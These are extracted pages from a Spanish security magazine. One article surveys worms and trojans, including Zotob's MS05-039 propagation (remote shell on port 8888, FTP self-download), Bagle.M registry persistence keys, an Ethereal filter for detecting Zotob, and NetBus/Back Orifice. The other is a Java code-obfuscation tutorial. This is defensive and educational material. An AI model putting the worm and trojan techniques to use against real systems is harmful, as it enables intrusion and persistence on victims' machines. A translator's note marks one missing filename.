Esta vulnerabilidad solo se pue-de explotar en equipos con Windo-ws 2000 sin el parche MS05-039 instalado. Solamente un usuario au-tenticado podría explotarla de formaremota en equipos con Windows XP y XP con Service Pack 1 instalado (Fi-gura 14):

Figura 12. Este comunicado aparece cuando el virus provoca el fallo del programa

Figura 13. Exploit que explota una vulnerabilidad utilizando ‘Ethereal’

Page 53: Revista Hakin9 n23 04-2007 ES

Programas malignos

www.hakin9.org 53

FILTRO : MS05-039 "Plug and Play"

Zotob ----->"dcerpc or pnp

or tcp.dstport == 445"

Software afectado:

• Microsoft Windows 2000 Service Pack 4

• Microsoft Windows XP Service Pack 1

• Microsoft Windows XP Service Pack 2

• Microsoft Windows XP Professio-nal x64 Edition

• Microsoft Windows Server 2003• Microsoft Windows Server 2003

Service Pack 1• Microsoft Windows Server 2003

for Itanium• Microsoft Windows Server 2003

SP1 for Itanium• Microsoft Windows Server 2003

x64 Edition

El gusano también abre un servi-dor FTP en el puerto TCP 33333por el que otros equipos descarga-rán una copia del gusano.

El gusano intenta propagarse utilizando la vulnerabilidad en el servicio Plug and Play de Windows, descrita en el boletín de seguridad MS05-039. Para ello puede crear hasta 300 threads (hilos de eje-cución o subprocesos) para bus-car sistemas vulnerables enviando paquetes SYN por el puerto TCP 445.

Si el ataque tiene éxito (equi-pos con Windows 2000 sin el par-che MS05-039), ejecuta un shell (cmd.exe) en el puerto TCP 8888. Por este puerto, envía al equipo remoto los comandos para descar-garse y ejecutarse a sí mismo. Prime-ro, copia el archivo 2pac.txt en los sistemas vulnerables:

Este archivo contiene un script FTP, que el gusano intentará usar al ejecutar el comando FTP.EXE por el shell abierto antes, con el resultado queel equipo accedido descargue una copia del malware usando el servidor FTP en el puerto TCP 33333 crea-do antes en el equipo infectado.

El archivo descargado se guarda con el siguiente nombre y después

se ejecuta: Nota del traductor FALTA EL NOMBRE.

Como puede comprobarse en los casos anteriores, en la mayoría de los casos fue necesario poco tiempo entre la liberación de los correspon-dientes parches de seguridad y su explotación por un programa malig-no – incluso se informaron algunos, como en el caso de Fever, en que su creador se adelantó a la solución.

Finalizado el año 2005, son alar-mantes las estadísticas elaboradaspor el Laboratorio Antivirus de Kas-persky [1], sobre las 10 vulnerabili-dades más atacadas durante el pa-sado año. En la tabla se aprecian varias de las mencionadas (Tabla abajo).

También se encuentran presen-tes otras reportadas en los boleti-nes, MS03-007 (17/03/2003), MS04-007 (10/02/2004), MS04-045 (14/12/2004), MS02-061 (28/02/2003) y MS01-059 (20/12/2001).

Uno de los problemas más pre-ocupantes es el desconocimiento de los usuarios, desconocimiento que aprovechan los creadores de gusa-

nos mediante técnicas de ingeniería social que invitan a los incautos a ab-rir mensajes sospechosos, que nun-ca deberían abrir.

Ejemplo de gusano de correo electrónico (Listado 2).

Caballos de TroyaLos caballos de Troya son imposto-res, es decir, archivos que preten-den ser benignos pero que de he-cho, son perjudiciales. Una diferen-cia muy importante con respectoa los virus reales es que no se re-plican a sí mismos. Los caballos de Troya contienen código dañino que,cuando se activa, provoca grandespérdidas o incluso robo de datos o de información sensible. Para que un caballo de Troya se extienda, es necesario dejarlo entrar en el siste-ma, por ejemplo abriendo un archi-vo adjunto de correo.

Se denomina troyano (o caballo de Troya) a un programa malicioso capaz de alojarse en computadoras y permitir el acceso a usuarios exter-nos, a través de una red local o de Internet, con el fin de recabar infor-

Figura 14. Vulnerabilidad MSO5-039 explotada por el gusano ‘Zotob’

Boletín y parche de seguridad

Fecha de liberación

Algunos programas malignos que explotan la vulnerabilidad

MS02-039 24/07/2002 Slammer, SdbotMS03-026 16/07/2003 Blaster, Gaobot, NachiMS05-039 09/08/2005 Zotob, Bozori, Mytob

Page 54: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

54

mación y/o controlar remotamente la máquina huésped.

Un troyano no es de por sí, un virus, aún cuando teóricamente pue-da ser distribuido y funcionar como tal. La diferencia fundamental entre un troyano y un virus consiste en su finalidad. Para que un programa sea un troyano solo tiene que acceder y/o controlar la maquina huésped sin ser advertido, normalmente bajo una apariencia inocua.

Suele ser un programa pequeño alojado dentro de una aplicación, una imagen, un archivo de música u otro elemento de apariencia ino-cente, que se instala en el sistema al ejecutar el archivo que lo contie-ne. Una vez instalado, parece rea-lizar una función útil (aunque cierto tipo de troyanos permanecen ocul-tos y por tal motivo los programas antivirus o aplicaciones anti-troya-nos no los eliminan) pero interna-mente realiza otras tareas de las que el usuario no es consciente, de igual forma que el Caballo de Tro-ya que los griegos regalaron a lostroyanos.

Este tipo de software se utiliza habitualmente para espiar, usando la técnica de instalar un software de acceso remoto que permite monito-rizar lo que el usuario legítimo hace y, por ejemplo, capturar las pulsa-

ciones del teclado con el fin de ob-tener contraseñas u otra información sensible.

La mejor defensa contra los troyanos es no ejecutar nada de lo cual se desconozca el origen y man-tener software antivirus actualiza-do y dotado de buena heurística. Es recomendable también instalar algún software anti-troyano, de los cuales existen versiones gratis. Otra solución bastante eficaz contra los troyanos es tener instalado un firewa-ll, tambien conocido como cortafue-gos.

Otra manera de detectarlos es inspeccionando frecuentemente la lista de procesos activos en memo-ria en busca de elementos extraños, vigilar accesos a disco innecesarios, etc.

Caballos de pura sangreNetBus y Back Orifice tienen mu-chos puntos en común. Ambos son caballos de Troya basados en la idea de cliente-servidor. Han sido creados para sistemas Micro-soft, pero Back Orifice sólo fun-ciona en Windows 95/98, mientras que NetBus también lo hace sobre NT. El programa servidor, en am-bos casos, debe ser instalado en el ordenador de la víctima. Como

se ha explicado, esta tarea se ha simplificado, ya que el atacante puede ocultar el troyano dentro de cualquier programa o aplicación. Incluso puede mandar el virus por correo y ser instalado con sóloabrir el mensaje (consultar el ar-tículo Las verdades del correo elec-trónico en la publicación iWorld de Febrero de 1999). Una vez instalado, el servidor abre un puer-to de comunicaciones y se que-da escuchando peticiones. Es de-cir, los comandos que le envía el programa cliente que está utili-zando el atacante desde su orde-nador remoto. NetBus abre un puer-to TCP, mientras que Back Ori-fice utiliza un puerto UDP. Se puede cambiar el número del puerto por el que atiende el ser-vidor en ambos casos. También se puede proteger el acceso al servidor mediante una clave. De esta forma, ya no es suficiente con tener instalado el cliente del troyano y conocer la IP de la má-quina infectada, sino que también será necesario conocer la clave que autoriza el acceso al servi-dor.

Tanto NetBus como Back Orifi-ce ofrecen un entorno gráfico para manejar todas las posibilidades del cliente. Lo que significa que cualquiera que conozca el fun-cionamiento básico de Windows, está en disposición de gestionar, de forma remota, cualquier recur-so del ordenador infectado por el troyano. Netbus incluye una he-rramienta que permite buscar má-quinas, indicando un rango de di-recciones IP que tengan abierto el puerto predeterminado del servidor de forma muy rápida. De todas for-mas, los piratas informáticos (y los- responsables de seguridad) suelen utilizar herramientas mucho más sofisticadas para rastrear los posi-bles objetivos.

Ya se ha indicado una de las grandes diferencias entre estos dos troyanos: Back Orifice no co-rre en Windows NT. Por otra parte, Back Orifice es capaz de cifrar la comunicación entre el cliente y el

Listado 2. Ejemplo Gusano W32.Bagle.M

Nombre: W32.BAGLE.M

Es una aplicación de 32 bits. Llega con el nombre foto_4265.exe y su tamaño

es de 9.221 bytes.

Cuando se ejecuta crea el siguiente fichero:

c:\WINNT\system32\anti_troj.exe

Accede a Internet Explorer donde agrega la siguiente referencia en la barra

de direcciones: C:\WINNT\system32\ntimage.gif

Añade las siguientes claves al registro:

HKEY_CURRENT_USER\Software\FirstRRRun

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Extensions

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Extensions\CmdMapping

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\

MenuOrder\Favorites\Vínculos

Modifica los valores siguientes:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

anti_troj = C:\WINNT\System32\anti_troj.exe � Para Garantizar ejecutarse

al inicio de windows.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

anti_troj = C:\WINNT\System32\anti_troj.exe � Para Garantizar ejecutarse

al inicio de windows.

Page 55: Revista Hakin9 n23 04-2007 ES

Programas malignos

www.hakin9.org 55

servidor, algo que no hace Net-Bus. En cambio, este último per-mite ciertas lindezas adicionales, como abrir y cerrar la unidad de CD-ROM o modificar las funcio-nes de los botones del ratón. Otra diferencia importante es el tamaño del servidor.

La última versión del servidor de NetBus (NetBus Pro 2.0) supera los 600 Kb, mientras que el servi-dor de Back Orifice 1.2, sólo ocu-pa 122 Kb. El tamaño resulta im-portante cuando el atacante quiere ocultar el caballo de Troya dentro de una aplicación. Resulta menos sospechoso un aumento de 122 Kb que uno de 600 Kb con respecto a la aplicación original. Por último, la versión más reciente de NetBus presenta nuevas opciones, pero es su nueva ventana de gestión del cliente, con ayuda en línea in-cluida, donde marca la diferencia con respecto a Back Orifice. La instalación y la aplicación resultan tan profesionales, que su frase de presentación casi parece cierta: NetBus Pro es una herramienta para la administración remota de ordenadores, de fácil uso y con un amigable entorno de gestión.

Estadísticas obtenidas por la em-presa de Antivirus Kaspersky Lab durante el primer semestre del año2006, mostraron que la cantidad de nuevos códigos del tipo caballode Troya – incluyendo modificacio-nes – se incrementó mensualmen-te en un ocho por ciento, comparadocon un período similar en 2005.

Entre los más frecuentes estu-vieron los clasificados como puer-tas traseras, que abren puertos de comunicación para la recepción de órdenes enviadas remotamen-te por un atacante, así como los

descargadores, que una vez ejecu-tados por el usuario intentan des-cargar otros códigos desde Inter-net.

También estuvieron los ladrones de passwords, que usurpan contra-señas empleadas en los sistemas, y los programas espía, los cuales auditan las acciones realizadas en los sistemas afectados.

La causa fundamental de esta mayor propagación de troyanos fue su empleo en la creación de redes de computadoras robots o zombies, muy utilizadas en el envío de correo basura o spam y en el robo de datos personales e información corpo-rativa.

Según Kaspersky Lab, en igual intervalo de tiempo, los gusanos y los virus tuvieron un decremento del uno por ciento en las muestras mensuales, siendo apreciable ade-más la disminución de epidemias globales causadas por los que se propagan por medio del correo electrónico.

En cuanto a este último aspecto, la organización MessageLabs detec-tó que 1 de cada 92 mensajes revisa-dos desde Mayo a Octubre de 2006 contenía código maligno, cifra muy inferior a la relación uno de cada diez alcanzada en Abril de 2004.

La relación de programas malig-nos más detectados por su servicio de revisión de mensajes en los últi-mos 12 meses la encabezó el gusa-no Sober.y.

Es importante señalar que aun cuando el número de las grandes epi-demias globales decreció, precisa-mente a finales de Octubre de 2006 comenzó la propagación más impor-tante del año, que se trató de una familia de códigos malignos llamada Warezov, difundidos por e-mail y que al ser ejecutados por el usuario re-ceptor intentaron la descarga de otros componentes desde Internet; aunque su aspecto más interesante y peligro-so fue la cantidad de nuevas variantes diferentes distribuidas en pocas ho-ras.

Existen muchos tipos de códigos malignos que no pudiéramos men-cionarlos en un solo artículo.

De tipo Espías, se hospedan en el equipo y aparentemente no hace na-da, pero sin embargo están vigilando toda tu actividad, contraseñas, núme-ro de tarjetas de créditos y otros da-tos importantes. Los recopila los man-da por diferentes vías al atacante.

Programas malignos que esta-fan, simulan ser una sucursal ban-caria imitando una página web de algún banco para que el usuario que es su banco real y al introducir los datos bancarios, los copia y los envía al atacante.

Programas Malignos que chanta-jean, infectan el equipo y solicitan depositar dinero en algún lugar o des-cargar una herramienta en Internet pagando por ella, con el fin de des-infectar el equipo y hacerlo inmune a este tipo de software.

Cada vez es mayor la creatividad de algunos autores de códigos ma-lignos, que si bien en algunos casos retoman experiencias anteriores, aho-ra buscan nuevas variantes e incluso campos de acción, como la telefonía inteligente.

Según Raimund Genes, director de sistemas de la compañía Trend Micro, un código maligno tipo exploit que se aprovecha de una vulnerabili-dad en Windows Vista no publicada, tiene un precio de venta aproximado de 50.000 dólares y de entre 20.000 ó 30.000 dólares para otros sistemas y aplicaciones.

Los programas malignos que se emplean en el envío de spam o correo basura cuestan alrededor de 5.000 dólares, mientras que los elaborados para crear y controlar las redes zom-bies o botnets se venden entre 5.000 a 20.000 dólares. Otro tanto sucede con los utilizados en el robo de infor-mación, con un precio que varía entre 5.000 y 20.000 dólares.

Tal como plantea Sergio Santos, especialista de Hispasec, y ha veni-do denunciando Eugene Kaspersky, reconocido experto internacional en la temática, los creadores de progra-mas malignos tienen así una motiva-ción económica con la creación de un producto para un mercado concreto que se rige por la ley de la oferta y la demanda. l

Sobre el Autor Carlos Javier Fornés CabreraIngeniero Telecomunicaciones y electronicaLaboratorio Antivirus [email protected] de la Habana – CUBA

Page 56: Revista Hakin9 n23 04-2007 ES

www.hakin9.org56

Defensa

Esto supone una ayuda apreciable para desentrañar el funcionamiento interno del programa. Pero no solo está en

peligro ese código que tantas horas nos ha costado construir y que preferimos que siga oculto, además puede servir como valiosa fuen-te de información para posibles ataques contra nuestra aplicación.

Desgraciadamente el alto nivel de los len-guajes máquina usados en estas máquinas virtuales y su rigidez en lo que consideran un código valido y seguro para ejecutar, nos deja con pocas opciones usar técnicas que intenten confundir al descompilador. Solo nos queda intentar confundir al humano que usa el des-compilador.

El fin de la ofuscación es complicar la vida al curioso que descompilar nuestro código, en lugar de encontrarse con un relativamente sencillo de entender código de alto nivel choca con un código confuso y difícil de desentrañar. La ofuscación no impide que se pueda acabar sacando el código original, pero dificulta el tra-bajo. Con suerte lo dificulta tanto que el curioso pronto pierde su curiosidad.

Un error es pensar que el atacante quiere todo el código de nuestra aplicación, lo más

probable es que solo esté interesado en una pequeña parte del código e incluso que no esté interesado para nada en copiar el código, que su único fin sea descubrir como funciona alguna parte de nuestro código, quien sabe con que fin.

A lo largo de este artículo vamos a ver como funcionan las diferentes técnicas de ofuscación y algunos de sus puntos débiles. Para empezar necesitaremos un archivo que proteger en este caso nuestro fin será prote-ger el archivo math.java (Listado 1) de posi-bles ataques de los curiosos. Para ello usare-

Ofuscación de Código en Java

Javier Alcubierre

Grado de dificultad

Los actuales lenguajes de bytecodes como Java presenta muchas ventajas, pero uno de los inconvenientes que poseen es que son fáciles de descompilar, lo que permite no solo obtener el código máquina sino obtener código de alto nivel similar al escrito por el programador.

En este artículo aprenderás...• A proteger tu código de miradas indiscretas,• Los puntos fuertes y débiles de los distintos

métodos de ofuscación,• A implementar tus propios métodos de ofusca-

ción.

Lo que deberías saber...• Conocimientos de Java,• Conocimientos básicos de ensamblador.

Page 57: Revista Hakin9 n23 04-2007 ES

Código Java

www.hakin9.org 57

mos varias herramientas y recursos, se podría haber hecho con menos herramientas, pero creo que será útil que el lector pueda conocer cuantas más mejor.

Nuestras armasAntes de empezar la batalla es bueno que conozcamos un poco nuestras armas, por desgracia ex-plicar el funcionamiento de todas ellas va más allá del fin, y del espa-cio, de este artículo. Se van a usar varias aplicaciones, no quiere decir que sean las únicas que hay o que sean las mejores, para elegirlas se ha procurado valorar su calidad, fama, comodidad de uso, que sean fáciles de conseguir, que estén bien documentadas y a ser posible que su código esté disponible por si el lector quisiera profundizar más en su funcionamiento. La dirección de la página web de cada una de las apli-caciones se puede encontrar en elrecuadro En la Red al final del artí-culo, desde esas direcciones po-dréis descargar los programas ade-más de encontrar completa informa-

ción de como instalarlos y manuales de uso.

La primera herramienta que usa-remos será el ya de sobras conocido JDK de Sun, por lo que nos ahorra-remos explicar qué es y cómo fun-ciona. Para desensamblar los .class a código ensamblador usaremos Jas-per, de esa forma obtendremos un archivo de texto que podremos modi-ficar a mano. Para volver a convertir este lenguaje ensamblador a byteco-des usaremos Jasmin ya que el len-guaje ensamblador que usan ambos programas es idéntico. Probaremos que resultado dan nuestras técnicas descompilando con JODE, que a su vez también permite ofuscar código. Aunque procuraremos hacer nuestra propias técnicas, en la parte de ofus-cación de nombres se ha optado por usar ProGuard una excelente aplica-ción que además de ofuscar permite optimizar y reducir el tamaño de los ficheros de bytecodes.

Una vez que se ha pasado lista a todas nuestras tropas vamos a em-pezar a usarlas. Empezaremos por compilar nuestro código, en este

caso el fichero math.java (Listado 1). Para ello basta con tener instalado el JDK y ejecutar el siguiente co-mando:

javac math.java

Una vez obtenido math.class los va-mos a descompilar usando JODE, para ello, desde usamos el coman-do (cuidado de no sobrescribir el math.java original):

java jode.decompiler.Main

math > math.java

Podemos ver el resultado en el Lis-tado 2. El código obtenido es casi similar al original, aunque el nombre de las variables es más inteligible, resulta sencillo de entender. Nuestro fin es que este código resulte tan difí-cil de entender como podamos.

Veamos ahora como es el código a nivel de lenguaje máquina, para ello desensamblaremos el .class usan-do Jasper. El comando es muy sen-cillo:

java –jar Jasper.jar math.class

Se genera un archivo math.j con el código en ensamblador en forma de texto plano. En el recuadro En la Red podéis encontrar un link a una refe-rencia completa de este lenguaje. El resultado es demasiado grande como para incluirlo por lo que solo incluiremos la función rand que po-déis ver en el Listado 3.

Viendo el código vamos a inten-tar explicar algunas bases del lengua-je ensamblador usado y de la propia máquina virtual de Java.

Si nos fijamos en la primera línea del Listado 3, veremos que es donde se declara el nombre del método rand.

.method public rand(II)I

Las dos I entre paréntesis indica que recibe dos parámetros de tipo Integer y la I fuera de los paréntesis que el método devuelve a su vez un Integer.

.limit stack 4

Listado 1. Código de ejemplo sobre el que se va a trabajar

import java.io.*;

public class math{ public int factorial(int numero){ for(int indice = numero-1; indice > 1; indice--) numero = indice * numero;

return numero; }

public int rand(int inicio, int fin){ return (int)(Math.random() * fin) + inicio; }

public int equal(int a, int b){ if(a == b) return 0; else if(a > b) return 1; else return -1; }

public static void main(String args[]){ System.out.println("New math");

math m = new math(); System.out.println("Call math.factorial()");

System.out.println(m.factorial(5));

System.out.println("Call math.rand()");

System.out.println(m.rand(0,5));

System.out.println("Call math.equal()");

System.out.println(m.rand(1,5));

}

}

Page 58: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

58

Indica la cantidad de espacio en la pila que va a usar esta función. La pila esta dividida en distintos blo-ques cada uno de un tamaño de un Integer. Java opera directamente sobre la pila.

.limit locals 3

Indica el número de variables locales usadas en el método.

.line 12

Es un etiqueta de depuración, indica a que numero de línea del código fuente original corresponden las siguientes instrucciones en código máquina.

Los operandos van precedidos de una letra i, l, d, f que indica si operan sobre datos de tipo integer, long, double o float respec-tivamente. Estas mismas letras seusan para las instrucciones de conversión para indicar el tipo de origen y el de destino. Por ejemplo i2d convierte el primer elemento de la pila de tipo integer a tipo double.

Con esto ya tenemos suficiente para trabajar en los próximos apar-tados.

Ofuscación de nombresLa primera de las técnicas que va-mos a ver consiste en ofuscar los nombres de los métodos, clases y paquetes, cambiándolos por otros menos descriptivos como pueden ser a, b, c. La idea es simple pero puede llegar a causar más de un dolor de cabeza en quien intenten entender el código fuente. Es más sencillo entender el significado de una función llamada factorial(int n) que una cuyo nombre es a(int n). En el primer caso el nombre te escribe claramente su función mientras que en el segundo no queda más remedio que analizar el código de la función. Vamos a ver como funciona con nuestro ejem-plo math.java (Listado 1), para ello vamos a usar ProGuard.

Para poder usar ProGuard ne-cesitamos crear un archivo de con-figuración que le indique a ProGuard con que ficheros trabajar y como hacerlo. El fichero, al que llamare-

mos math.pro, podemos verlo en el Listado 4.

En la primera línea se indica el nombre del jar a ofuscar, en la se-gunda el nombre que tendrá el .jar con el código ofuscado. La opción de -libjars indica que librerías usa la aplicación. Como solo queremos ofuscar tenemos que indicar que no realice optimizaciones ni reduzca el código para ello usamos -dontshrink y -dontoptimize. Por último la opción de –keepclasseswithmembers sirve para evitar que ofusque el método main ya que es necesario para que se pueda ejecutar la aplicación.

Como ProGuard funciona con ar-chivos .jar tendremos que crear nues-tro propio jar a partir de math.class, para ello una vez compilado usando:

javac math.java

Crearemos el jar con:

jar cvfM math.jar math.class

Ahora ya podemos ejecutar Pro-Guard.

java -jar proguard.jar @math.pro

Por último extraeremos el fichero math.class de math.jar

Jar xf math_out.jar

Obtendremos el fichero math.class, solo queda comprobar los nombre de los métodos que contiene, el

Listado 2. Resultado de descompilar math.class

public class math{

public int factorial(int i) { for (int i_0_ = i - 1; i_0_ > 1; i_0_--) i = i_0_ * i;

return i; }

public int rand(int i, int i_1_) { return (int) (java.lang.Math.random() * (double) i_1_) + i; }

public int equal(int i, int i_2_) { if (i == i_2_) return 0; if (i > i_2_) return 1; return -1; }

public static void main(String[] strings) { System.out.println("New math");

math var_math = new math(); System.out.println("Call math.factorial()");

System.out.println(var_math.factorial(5));

System.out.println("Call math.rand()");

System.out.println(var_math.rand(0, 5));

System.out.println("Call math.equal()");

System.out.println(var_math.rand(1, 5));

}

}

Listado 3. Método rand (int inicio, int fin) en lenguaje maquina

.method public rand(II)I .limit stack 4

.limit locals 3

.line 12

invokestatic java/lang/Math

/random()D

iload_2

i2d

dmul

d2i

iload_1

iadd

ireturn

.end method

Page 59: Revista Hakin9 n23 04-2007 ES

Código Java

www.hakin9.org 59

resultado lo podemos ver en el Lis-tado 5.

javap math

Se puede ver que ha llamado a dos métodos de la misma manera pese a ser diferentes, lo que puede com-plica aun más el descifrar el funcio-namiento del programa.

Uno de los principales puntos débiles de esta técnica es que no se pueden ocultar los puntos de entra-da, la función main sigue teniendo la misma firma:

public static void main(String args[])

Es necesario para que la máquina virtual de Java sepa por donde tiene

que empezar a ejecutar la aplicación. Este problema se repite muchas ve-ces, cada vez que implementemos interfaces por ejemplo. Esto da una importante pista a nuestro curioso que le proporciona un hilo del que tirar para deshacer la madeja. Pero también nos podemos encontrar con el mismo problema a la inversa, pongamos el caso de que estamos desarrollando una librería de uso ge-neral, los usuarios de esta se sor-prenderían mucho si las funciones se llamaran a, b, c, la ofuscación no solo molestaría al curioso también al resto de los usuarios.

Otro problema es que no se pue-den ofuscar los nombres de los mé-todos de la API de Java, lo cual da más pistas de lo que hace la función. Una posible forma de evitar esto es mapear todos los métodos de la API en otra clase, cambiando así su nombre. Esta estrategia solo durará hasta que nuestro curioso encuentre la clase donde se mapean las llama-das a los métodos.

Una idea interesante para aplicar a este método es usar un poco de in-genio y en lugar de sustituir los nom-bre por a, b, c hacerlo por nombre con sentido pero que no describan la función real. Por ejemplo podríamos llamar a nuestras funciones odd, add, div, y si viéramos solo el main nos haríamos una idea equivocada de cómo funciona el programa. Esta idea solo durará hasta que se com-pruebe el código de estos métodos pero hemos podido hacer perder un buen montón de tiempo al curioso.

Sin alejarnos mucho de esta línea otro buen truco es usar como nom-bre de variables palabras reserva-das de Java como while, if, do. El compilador no permite usar palabras reservadas como nombre de funcio-nes, pero la máquina virtual no da problemas si se encuentra con una clase cuyas funciones se llaman co-mo alguna palabra reservada. El tru-co es cambiar el nombre a nivel de código máquina. Al descompilar seencontrará que no podrá volver a com-pilar sin cambiar el nombre de todos los métodos y sus respectivas lla-madas, por desgracia actualmente

Listado 4. Archivo de configuración para ofuscar nombres usando ProGuard

-injars math.jar

-outjars math_out.jar

-libraryjars <java.home>\lib\rt.jar

-dontshrink

-dontoptimize

-keepclasseswithmembers public class * { public static void main(java.lang.String[]);}

Listado 5. Firmas obtenidac con javap después de ofuscar nombres

public class math extends java.lang.Object{ public math(); public int a(int); public int a(int, int); public int b(int, int); public static void main(java.lang.String[]);}

Listado 6. Clase para cifrar y descifrar cadenas de texto

import java.math.BigInteger;

public class Cipher { public static BigInteger descipher(byte[] text, byte[] key) { BigInteger a = new BigInteger(text); BigInteger b = new BigInteger(key); a = a.divide(b);

return a; }

public static BigInteger cipher(String text, String key) { BigInteger a = new BigInteger(text.getBytes()); BigInteger b = new BigInteger(key.getBytes()); a = a.multiply(b);

return a; }

public static void main(String args[]) { if (args.length < 2) { System.out.println("java cipher text key");

System.exit(1);

}

byte[] c = cipher(args[0], args[1]).toByteArray(); System.out.print("{");

for (int i=0; i<c.length-1; i++) System.out.print(c[i] + ", " );

System.out.print(c[c.length-1] + "}" );

}

}

Page 60: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

60

este método funciona con pocos descompiladores ya que detectan que el nombre es una palabra reser-vada y lo cambian

ProGuard da la opción de indi-carle un archivo de diccionario del que sacará las nuevos nombres para los métodos que renombre. Para usar esta opción hemos de añadir la siguiente línea a math.pro.

-obfuscationdictionary

nombre_de_diccionario

ProGuard, en el directorio \examples\dictionaries, incluye varios ejemplos de diccionarios que son simples archivos de texto plano con las pala-bras a utilizar.

Cifrado de cadenasEl siguiente método que vamos a ver es el cifrado de cadenas, la idea es cifrar las cadenas de texto conte-nidas en el código fuente de la apli-cación. Pese a que muchos ofusca-dores ya no incorporan este método por considerarlo ineficaz, resulta útil, si nos fijamos en el ejemplo de nada servirá ofuscar el nombre de las cla-ses si antes de llamarlas mostramos su nombre o describimos que hacen en un mensaje de texto. El ejemplo puede parecer exagerado, pero las cadenas de texto usadas en cada método pueden dar muchas pistas sobre su función, sobre todo los mensajes de error.

Este método se considera inefi-caz ya que al tener que incluir el có-

digo necesario para descifrar las ca-denas nuestro curioso puede usarlo y descifrar por su cuenta nuestras cadenas, además de que no es ne-cesario entender los mensajes de texto para entender el programa. Usado junto con la ofuscación de nombres puede dar buenos resul-tados. El mayor problema que tiene es la carga que supone descifrar las cadenas. Sin embargo, hay veces en que este método puede compensar, por ejemplo cuando se usan ca-denas de texto en forma de scripts o comandos, el ejemplo más fácil de entender es con las sentencias SQL que se almacenan en forma de cade-nas de texto.

Puesto que mucho ofuscadores ya no implementan esta caracterís-tica vamos a crear nuestra propia clase de cifrado. El ejemplo usa un cifrado muy sencillo, pero que aporta una ventaja, el método usado no pa-rece a simple vista un cifrado y des-cifrado de cadenas. Realmente no es necesario romperse la cabeza con complejos métodos de cifrado, nuestro curioso no va a atacar el algoritmo de cifrado, va a buscar co-mo el método de descifrado y lo va a usar directamente.

El código de nuestro método de cifrado se pude ver en el Listado 6, la idea principal es que parezca una operación con BigInteger en lugar de un cifrado de cadenas. Su funciona-miento es muy sencillo convierte el texto a cifrar y la clave en un array de bytes que usa para inicializar

una variable de tipo BigInteger, para el texto y otra para la clave. Posteriormente opera con las dos variables, en este caso las multiplica pero se podría usar cualquier otra operación o mezcla de operaciones siempre y cuando sean reversibles. El BigInteger obtenido se vuelve a convertir en un array de bytes, que será el que se usará en lugar del tex-to original. Para entenderlo mejor va-mos a cifrar la clásica cadena Hello World!, para ello usaremos nuestra clase Cipher.java, por lo que habrá que compilarla.

javac Cipher.java

Luego cifraremos la cadena de texto usando como contraseña la palabra hello como contraseña.

java Cipher "Hello World!"

key > hello.txt

Con estos pasos habremos obtenido un archivo hello.txt con el siguiente contenido:

{29, -123, -30, -71, 71, -40, 113, -21,

80, 43, 26, -92, 59, -102, 41, 86, 79}

Listado 7. Ejemplo de hola mundo con cadenas de texto cifradas

import java.math.BigInteger;

public class hello { public static BigInteger descipher(byte[] text, byte[] key) { BigInteger a = new BigInteger(text); BigInteger b = new BigInteger(key); a = a.divide(b);

return a; }

public static void main(String args[]) { byte[] c ={29, -123, -30, -71, 71, -40, 113, -21, 80, 43, 26, -92, 59,

-102, 41, 86, 79};

String text = new String(descipher(c, "hello".getBytes()).toByteArray()); System.out.println(text);

}

}

Listado 8. Método factorial(int numero) en lenguaje maquina

.method public factorial(I)I .limit stack 2

.limit locals 3

.line 6

iload_1

iconst_1

isub

istore_2

LABEL0x4:

iload_2

iconst_1

if_icmple LABEL0x13

.line

iload_2

iload_1

imul

istore_1

.line 6

iinc 2 -1

goto LABEL0x4

.line 8

LABEL0x13:

iload_1

ireturn

.end method

Page 61: Revista Hakin9 n23 04-2007 ES

Código Java

www.hakin9.org 61

Que no es otra cosa que la cadena cifrada, que se tendrá que pasar junto con la clave al método de des-cifrado para obtener el texto original.

El descifrado funciona exacta-mente igual que el cifrado, difiere en las operaciones que se realizan ya que hay que deshacer el cifrado, en este caso basta con dividir.

En el Listado 7 se puede ver un hola mundo con la cadena cifrada. Para simplificar el ejemplo y facilitar su comprensión se han cometido algunos errores que no se deben de cometer en un caso real. Para empe-zar el método de descifrado no debe llamarse descipher ni nada parecido, la clave usada no debe de ponerse directamente en forma de cadena de texto y por último se debe de intentar ocultar en todo lo posible que el valor devuelto por ese método se convier-te en una cadena de texto.

Ofuscación de códigoLa ofuscación del código consiste en enrevesar tanto el código que resulte difícil de entender tanto por las per-sonas como por los programas de desensamblado o descompilado.

Se puede realizar por dos vías, ofuscando el código de alto nivel y ofuscando el código máquina.

La primera vía puede parecer la más sencilla, pero convertir el código fuente en algo inteligible requiere ex-periencia e imaginación, bien aplicada puede ser realmente difícil de desci-frar, aunque un curioso suficientemen-te motivado podría desentrañar poco a poco el funcionamiento del código. Este primer método se la dejo al lector para que haga sus pruebas y desarro-lle sus trucos, es fácil encontrar gran cantidad de ejemplos, sobretodo en leguaje C, de código ofuscado. Nos vamos a ocupar de la segunda vía, la de ofuscar a nivel de código máquina. La idea es modificar el código de tal forma que el descompilador sea in-capaz de obtener código de alto nivel a partir del de bajo nivel. Para ello vamos a jugar con el flujo del código de tal manera que le sea imposible al descompilador reconstruirlo.

Para ello tenemos que buscar instrucciones a nivel de código má-

quina que no tengan equivalente en lenguaje de alto nivel. Si miramos el listado de instrucciones vemos que podemos usar la instrucción goto que realiza un salto incondicional a una etiqueta. Pero solo con eso no es suficiente, el desensamblador es capaz de organizar el código para prescindir de la sentencia goto. De-bemos evitar que el ensamblador sepa que camino va seguir el códi-go, para ello usaremos sentencias de salto condicional. Es muy impor-tante que en los bloques de código que incluyamos no alteremos la pila, hemos de dejarla tal y como esta-ba antes de ejecutar nuestro códi-go. Tampoco podemos sobrepasar el tamaño de la pila, y no podemos saltar a ninguna parte del código en el que pueda haber variables no inicializadas. Vamos a ver un ejem-plo, como el método factorial de math.java.

